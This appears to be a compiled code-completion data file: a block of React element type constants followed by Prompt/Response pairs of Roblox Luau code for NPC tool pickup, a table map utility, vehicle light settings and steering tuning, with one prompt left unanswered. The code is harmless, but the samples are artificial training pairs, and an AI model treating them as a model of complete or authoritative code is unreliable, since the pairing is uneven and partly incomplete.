exports.REACT_PROFILER_TYPE = 0xead2
exports.REACT_PROVIDER_TYPE = 0xeacd
exports.REACT_CONTEXT_TYPE = 0xeace
exports.REACT_FORWARD_REF_TYPE = 0xead0
exports.REACT_SUSPENSE_TYPE = 0xead1
exports.REACT_SUSPENSE_LIST_TYPE = 0xead8
exports.REACT_MEMO_TYPE = 0xead3
exports.REACT_LAZY_TYPE = 0xead4
exports.REACT_BLOCK_TYPE = 0xead9
exports.REACT_SERVER_BLOCK_TYPE = 0xeada
exports.REACT_FUNDAMENTAL_TYPE = 0xead5
exports.REACT_SCOPE_TYPE = 0xead7
exports.REACT_OPAQUE_ID_TYPE = 0xeae0
exports.REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1
exports.REACT_OFFSCREEN_TYPE = 0xeae2
exports.REACT_LEGACY_HIDDEN_TYPE = 0xeae3
exports.REACT_BINDING_TYPE = 0xeae4


Prompt: --equip tools

Response:
if pickUpTools then
	for _,v in pairs(GetSpecificInstances(AI,"Part")) do
		v.Touched:connect(function(part)
			if part.Name=="Handle" and part.Parent:IsA("Tool") then
				if (#GetSpecificInstances(part.Parent.Parent,"Humanoid")==0 or part.Parent.Parent==workspace) and #GetSpecificInstances(AI,"Tool")==0 then
					part.Parent.Parent=AI;
			end end
		end
		);
	end
end


Prompt:
--[=[
	@within TableUtil
	@function Map
	@param tbl table
	@param predicate (value: any, key: any, tbl: table) -> newValue: any
	@return table

	Performs a map operation against the given table, which can be used to
	map new values based on the old values at given keys/indices.

	For example:

	```lua
	local t = {A = 10, B = 20, C = 30}
	local t2 = TableUtil.Map(t, function(value)
		return value * 2
	end)
	print(t2) --> {A = 20, B = 40, C = 60}
	```
]=]

Response:
local function Map<T, M>(t: { T }, f: (T, number, { T }) -> M): { M }
	assert(type(t) == "table", "First argument must be a table")
	assert(type(f) == "function", "Second argument must be a function")
	local newT = table.create(#t)

	for k, v in t do
		newT[k] = f(v, k, t)
	end

	return newT
end


Prompt:
-- LIGHT SETTINGS
--[[
	LIGHT TYPES:
		- Halogen
		- LED
]]

Response:
--

local Low_Beam_Brightness = 1.25

local High_Beam_Brightness = 1.15

local Fog_Light_Brightness = 0.7

local Rear_Light_Brightness = 1.5

local Brake_Light_Brightness = 1.5

local Reverse_Light_Brightness = 1

local Headlight_Type = "Halogen"

local Indicator_Type = "Halogen"

local Fog_Light_Type = "Halogen"

local Plate_Light_Type = "Halogen"

local Rear_Light_Type = "Halogen"

local Reverse_Light_Type = "Halogen"

local Running_Light_Location = "Custom DRL" -- Where your running lights will luminate. ("Low Beam / Indicators" and "Low Beam".  LED DRLS or any DRL in a differnet position go in the Running model, change the string to "Custom DRL")

local CustomDRL_Type = "LED"

local Fade_Time = 0.35 -- How long it takes for the light to fully turn on. (works only with Halogen, default is 0.35 seconds)

local Indicator_Flash_Rate = 0.3 -- Rate of change between each indicator state. (in seconds)

local Popup_Hinge_Angle = -0.75 -- Changes the angle of your popup headlights. (only use if your car has popups)


Prompt:
--[[
	WeaponEquipping

	Description: This script allows for the management of the players inventory such as swaping weapon or switching to the grenade.
]]


Prompt: --[[Steering]]

Response:
Tune.SteerInner		= 70		-- Inner wheel steering angle (in degrees)
Tune.SteerOuter		= 70	-- Outer wheel steering angle (in degrees)
Tune.SteerSpeed		= .5		-- Steering increment per tick (in degrees)
Tune.ReturnSpeed	= .5		-- Steering increment per tick (in degrees)
Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
Tune.MSteerExp		= 1			-- Mouse steering exponential degree